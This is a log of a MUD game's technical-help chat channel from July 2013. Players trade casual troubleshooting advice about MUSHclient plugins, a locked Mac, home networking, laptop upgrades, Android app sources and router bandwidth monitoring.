T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: im getting a fashing ? folder when I boot this mac, and when I power off, and then power on holding option key to restore, it asks for a password 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: I whiped the HD last night, but then lost internet so I couldn't do the restore....so there shouldn't be any password on it 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: wiped, rather 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: I don't know personally Lilly - but I found this - http://lifehacker.com/5681710/how-to-break-into-a-mac-and-prevent-it-from-happening-to-you which gives you a way of resetting the password. Maybe that will help?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Leinei Tech: If it's anything like a BIOS password on a PC, there might be a jumper inside that you can just set to reset the password.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: uhm....
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: thanks Daloran
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: can't even boot into single user mode, flashing ? just shows up
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Can you boot to a usb device?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: don't know what that means really 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Ah.. like a flash drive, or external hard drive. How were you restoring the mac? I thought they'd been using USB keys for that for a while
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: restoring the mac through the computer....you just hit the option key while powering up 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: ahhhh gotcha. I guess it'd make sense they'd have a built in recovery too.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Leinei Tech: so can you not get back into the startup manager by holding the option key?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: nope
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: it brings me to a lock screen and asks for a password - which I don't have one
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tymas Tech: How do I set an alias through keyboard
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Cosrin Tech: in which client?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tymas Tech: mush 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tymas Tech: I want to set an execute alias
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Cosrin Tech: I found this.. but I'm afraid I don't know much about mush :( sorry. www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=9705
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Cosrin Tech: this one too http://www.gammon.com.au/forum/?id=9616
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage/wiki/CommandLineAliasesAndTriggers
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: always read the aard MUSHclient package website...it answers most questions
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Interesting. Outside my local network, I can access my server. Inside my local network, I'm blocked. No idea why my computer, on the same network, can no longer access my server. :\
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You using external or local ip inside your network?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Local.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: What's your local ip? (Harmless to say)
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Static IP for the server, 192.168.2.150.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: and whats your password?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Kinjin: Password is: yourmomgavemejoy
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Damn, I just tried "Yourfatmom" and it didn't work
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: Rockin' Rhuli changes his password immediately.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger is faster.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: ooo, did you guys know Rhuli was a stripper? :P
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger runs away from Rockin' Rhuli in utter terror and horror!
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: Rockin' Rhuli winks suggestively.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tech: Hollister changes his password for his password protecting passworder
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Hollister Tech: you're telling me that this whole time, Rhuli was not the fat man who lives next door to me?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Who said he wasn't? :P
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Hollister Tech: darn. now I got alot of explaining to do
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Rockin' Rhuli Tech: heh, fat no, next door maybe.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Hollister Tech: I hope not
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tharnin Tech: Are you trying to access it with its (your router's) public name/IP, or the internal one? Some home routers don't do loopback properly.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Book of Etzli Tech: I attempt to use it through the external.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Book of Etzli Tech: What it boils down to is this: I use Subsonic. I use a DNS for my own "private" server, located at arcylix.no-ip.org:9000. I can access it when I'm not on my own network, but if I am on the same network, it returns "Bad server"
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: T8300 laptop CPU in an old thinkpad... worthwhile upgrading the ram from 2GB or 4/8 and adding an SSD? Or is that cpu too dated, and should just save the money and replace it with a newer system
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in a laptop these days I'm mostly concerned about heat generation, battery life, and the screen not being complete garbage
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you don't have something that solves those three, don't start optimizing it
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I love my SSD, but I wouldn't upgrade a laptop that I didn't already like
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but anyway, define "old"
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh. core 2 duo, eh
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: panel is 1680x1050. T8300, plus the extended battery actually had quite a solid life span... scored a free regular battery, but still looking at 3-4 hours of use. Plus I have the dock for it.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 3-4 hours is not what I consider a useful battery life
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can get 11 hours out of my x201i if I'm careful
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Nod, thats with the regular battery.. I mean I could pick up a new extended life.... but i didn't want to drop the money on it if i decided to upgrade sooner then later
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the problem with that number is that it goes down over time and it goes down if you try to do anything meaningful
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Nod. I think, the laptop I was looking at as replacement won't have any better battery life... but has the graphics to play a game here or there.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: perhaps what you want is not a laptop
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: If you're suggesting a desktop, I have one of those. And am actually trying to eliminate it, as I rarely am home to take advantage of it.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: x series laptops are nice though. I was looking at the x220s as well
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: did you mean x230?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: we just got a thinkpad twit that came with a bad hd, not ssd though, but annoying
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: Heh, twist, not twit
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Nah, 220.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Ah, looks like they dont have x220 anymore.. thought they were still selling both
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: y510p was what I was looking at, with the dual video cards.. but i know the battery life will be terrible.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: I dunno. I think it's becoming more and more obvious I just need to give up gaming as a leisure activity. I can't spend the time to do it at home, and getting a laptop that does it is well is unlikely 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: entry level pricing on the 230s isnt bad either
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: 1366x768 res only though
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: thinkpad screens are kind of stuck in the stone age
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they've never been a selling point
T3/r7/2013-07-21.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: the IPS display on my x220 is amazing.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: I sprung for the higher res when I bought my T61... doesn't seem to be an option for the x220 though
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: I dunno. Kind of decided I'm in lenovo camp though, regardless of going with a gaming machine or not.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: Is there a way to specify items in containers by item id? When I try "get 984000036 (361629)" (first is the desired item id, second is the keyword from my aardbag). It tries to get the item from a different bag. replacing the id with a name works ofc. Would be nice for inventory management if that were possible, but I don't suppose it is?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: Why are you using the aard serial instead of the number of the bag?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: ID number of the bag, rather
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: hmm, no idea really. Probably because it is shorter. I'm using the keyword from the bag and the id from the item. I could try using the id from the bag too
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: I would. Mind I don't know that it solves your problem - but thats how i've got all my stuff setup, and it works
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: no, it still tries to get the item from a different container :(  [using "get 984000036 1068969939"]
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: different container?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tynrael Tech: i've had issues using ID tags for bags and it trying different containers that didn't match the ID with Aardmush, restarting the client always fixed it and I have no idea what it happens
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: I have my aard bag, a few satchels, and a basket. I'm trying organize everything right now. And it tries to get the item from the basket...
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: The ID #s don't have anything to do with aardmush, to my knowledge..
T3/r7/2013-07-21.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: it shouldn't
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: they shouldn't, but maybe some plugin messes something up for whatever reason? I'll just try restarting it.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: please wait with answers for a moment :)
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: nah, as expected it didn't do a thing. I had that eq miniwindow from the bast package open, so it might have been blamed on that
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: ?? I just tried it with a different item and that worked without a hitch. It's just that item that doesn't seem to work?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Alcor Tech: That is pretty weird. As long as it's just that one portal, it isn't too bad, but it would have been nice if someone knew why that happens
T3/r7/2013-07-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there anyway of getting something to "trigger" when you receive new gmcp data of a certain type withought making it a plugin
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Leinei Tech: Not without completely rewriting the GMCP handler, I don't think
T3/r7/2013-07-22.txt.gz:{chan ch=tech}SeanJac Tech: how do you set the room as start of area in mapper?
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ayasinda Tech: you don't
T3/r7/2013-07-22.txt.gz:{chan ch=tech}SeanJac Tech: i was able to set it, just forgot the command. 
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Cosrin Tech: sadly I don't know anything about mappers.
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ayasinda Tech: probably but that was not in mapper.
T3/r7/2013-07-22.txt.gz:{chan ch=tech}SeanJac Tech: how do you designate start of area?
T3/r7/2013-07-22.txt.gz:{chan ch=tech}RedRain Tech: you can only change start of area room with some mapper scripts like winklewinkles.
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ixle Tech: Cosrin just fyi 90% of the client related questions here won't apply to you. You are like 1 of 13 people using Tintin++ 
T3/r7/2013-07-22.txt.gz:{chan ch=tech}SeanJac Tech: how do you set it in winkle?
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Cosrin Tech: Heck my tech skills are mediocre to limited :P But I just wanted to let him know he was heard. Sometimes the questions go by without any responses at all.
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Hollister Tech: yeah I hate it when people ask questions and don't get answered
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ashiya Tech: when opening up a new connection to test port, I loose all aliases plugins etc. How do I import it to a new connection in mush?
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ayasinda Tech: File>import Click import from file
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ashiya Tech: and what folder are aliases etc in? and perhaps file name?
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ayasinda Tech: find the mcl file of your old connection and import that. I think that should work. It's the same procedure as installing a new mush I think.
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Ashiya Tech: yep that's what I was looking for :) thanks a lot!
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Tigernuts Tech: i petition we immediately execute any web site people that put videos on their webpages that autoplay, and execute them a second time if those same videos crash or lock up when you refuse to allow the player to store crap on your computer
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Tripphippie Tech: seconded
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Tripphippie Tech: they probably never tested it with cookies disabled
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Tigernuts Tech: usually mainstream media websites to blame
T3/r7/2013-07-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anybody know stuff about RC flying things like airplanes or quadcoptors?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Cosrin Tech: I'm trying to gag some lines of data in tintin that aren't as important to me, failed spells and the like. but even though the gaged lines don't appear, the space/return that follows them is still there Is there a way to gag that as well?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Shue Tech: hi. is there a way to have more than 1 communication miniwindow?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ayasinda Tech: yes
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: You might be able to just change the plugin ID, and save and install another copy.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ayasinda Tech: https://code.google.com/p/aardwolfclientpackage/wiki/ChannelCapture#Creating_multiple_log_windows
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: Yay, I was right
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Shue Tech: hurrah. thanks for the help
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Shue Tech: how do i set up a trigger to cast 20 and eat mushroom after receiving the hunger message?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}The Zohan Dvir Tech: Eatingbot!
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Shue Tech: what's that?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Cosrin Tech: help stacked commands and help bots if you are unfamiliar with them. Triggers and aliases are awesome but be careful with them.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is there anyway to trigger off onpluginbroadcast withought it being part of another plugin?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Shue Tech: in the trigger edit window, what does 'sequence' mean?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: do you guys think a 7inch screen of a tablet is pleasant to work/play on?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: Work on what? Play what?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ok not so much work, but like watching movies, and playing medium 3d games
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: What is it?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ghargan Tech: if you mean aardwolf, yeah it's okay as long as you run all the anti-spam stuff
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: 7inch screen of tablet, yeah its 1024 by 600... ok Thanks 
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: What is the tablet brand?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Prestigio 7inch   pmp 3970b Duo ultra..     Dual core 1.5Ghz cpu, 1Gig ddr3 ram, 4gig onboard space, Dual Gpu card
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Android I am taking.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: yip 4.1 yelly bean
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: You can running most with that.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: most what?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: it got hdmi output also :)
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Slyzor apps. They are the bomb.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: oh yeah! i never had android before... but the apps/games looks so amazing on google.. not like this blackberry
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Bamboo Tech: I bought a $160 android. I'm quite happy with it
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: kewl, do you got a  nice site for downloading free app/game APK files perhaps Bamboo?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: It's all in the Play store
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: besides play store i mean
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: Don't trust things not from the play store at your experience level.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: That is called "sideloading" and isn't enabled by default. There are ways to do it but I would highly advise you not to.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Yip, 1st program I'm going to install is mcafee
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wut.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: why Ixle?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not sure Android antivirus works like it does on a PC, Slyzor
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: You don't need virus software, you just need to use the Play store.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mcafee is no good, neither is norton
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Dexter Tech: avast or avg
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: If an app can't get approved in the Play store there is a good reason and you should not even consider using it.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}The Zohan Dvir Tech: Stop babysitting, Ixle. It will be so much fun when they come back and yell out "halp!!"
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Windows Defender and Malwarebytes, but again, not for Android
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: oh, but its a wifi only tablet.. idk know if i can get hotspots near my house.. that's why I'm thinking of using my bb to download android app/games
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: i know avast and avg, pretty good ones those
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: If you don't have decent internet access perhaps you should look into a 3G tablet from a phone company.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Yeah that's a plan Ixle, I'll just browse around more
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: does anyone online know bast broadcast plugins well?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I do not, but might be able to answer your question :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: where is it getting the rewards info from :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Which rewards?  Broadkills is kills, tp, broadcastcp etc...
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: cp sorry
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is it getting from gmcp?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: broadcast_cp
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: No it's mostly triggers.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: The quest stuff is from GMCP
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Why do you ask, you notice an issue?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh okay, im trying to look into how i can get it to add first cp of the day bonus into it
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Upgrade to latest version should do it :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i looked at the changelog and my changlog matches so i thought i did have the latest
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: o well i guess redownloading couldnt hurt, thanks
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: did a redownoad, looks like ill have to go digging deeper as it looks like i already had most updated virsion
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: Sounds like a great excercise for learning that particular part of that plugin
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Type plugins look for the version next to bast's plugins... 
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: think the latest is r2089....
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unfortunately for the casual tinkerer, the Bast plugins are a rather convoluted intertwining of multiple dependent plugins and lua resource files
T3/r7/2013-07-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: if i cannot then ill just do what im doing with the others so i can use stand alone triggers, add an echo command when certain things happen
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Has Zugg dropped updating cMUD?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Long time ago.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Zade Tech: is there anything that requires to be updated in cMud
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Been too busy, wasn't making his income with CMUD, etc etc.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Bardis Tech: no Cmud works just fine
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: That wasn't the question, Bardis.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: CMUD has not been updated in a couple years. It may "work fine", but there are still quite a few bugs.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Bardis Tech: ok then I dont think there is anything that needs to be updated in cmud
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: And you'd be wrong.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Bardis Tech: why would I be wrong ?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Because again, there are a number of bugs that should be fixed, and features that people wish would be added, but never will be now.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Just because it works fine for you doesn't mean that another player doesn't encounter bugs that seriously affects their scripts.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Bardis Tech: there will allways be bugs in a program like cmud, but you are right about new features
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Zade Tech: bad attitude, Bardis -- with enough effort, bugs may be eradicated, (unless the bugs are in the compiler program and language design)
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Bardis Tech: I still like my Cmud and I will use it many years from now even without updates
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: what's the mapper command that returns the path, but doesn't actually execute it?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: I got a mac prob
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: I can't quit safari!
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: Plus the tab X's aren't on the tabs. On the drop-down Safari-menu "quit safari" is grey = unusable
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: alright now I have a windows 8 problem
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ayasinda Tech: win8 IS a problem
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: How do I connect to a wlan? I have a "hidden" network with a wpa2, but I can't connect to it since it's not in the list, and if I add it manually it doesn't do anything
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: it's up and running, I know, since I'm on it right now, but the win8 computer won't connect.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: rather, I'd like to open some sort of wlan manager, but I googled, and it seems they've taken it out?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Tech: did you add it to Manage Wireless Networks?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ylar Tech: You need to make sure the wireless profile is set to "connect even if the network is not broadcasting"
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: thanks, I'll try that
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Varas Tech: nope, nothing's happening
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have a bandwidth monitor they would like to recommend preferably free
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: Just for your current computer, or all traffic through your router?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: Way back when, I used Rokario.  Seemed to do the job
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: But that's been a few years ago
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would like for all traffic through router and if i could see which IP is taking up the most that would be awesome
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Sounds like someone's about to get throttled.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: think rokario just does your current comp.  I used a different one for the entire router, but don't recall what it was called.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hey worth a shot thanks :) yea we have a client who likes to play MMO's over the companyies 1.1mbps connection
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Easy enough if you had a custom firmware on your router :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm yea i think i have a dlink dir330 out there so the stock firmware is already garbage
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Probably not helpful for this situation, since it souds big business? But http://www.dd-wrt.com/site/index <-- awesome
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: I think PRTG is the one I used for my router
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Haven't used that one. How'd you like it?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok i think i was checking that one out before and seems like there was a lot of over head for the setup
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: I was mainly just worried about my own comp, so I used rokario a lot more.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: don't really recall much about the one I used to monitor the router
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it seems like it is more of an enterprise system. but i should be able to set it up to do what i want
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: not so much overhead, but a bit of a learning curve your first time.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: looks like the easiest method might be to just install a custom firmware that has monitoring built in
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Leinei.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Or, depending on the freedom the firmware allows, you could easily create your own or at least a logging.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not sure i would be able to create custom firmware
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I actually thought about trying to get my Rasperry Pi to work for my router :p
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You wouldn't be creating anything, you'd just be telling it to output more data.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not sure how i would edit the firmware
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: <-- NOOBISH
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: What's your router model #?
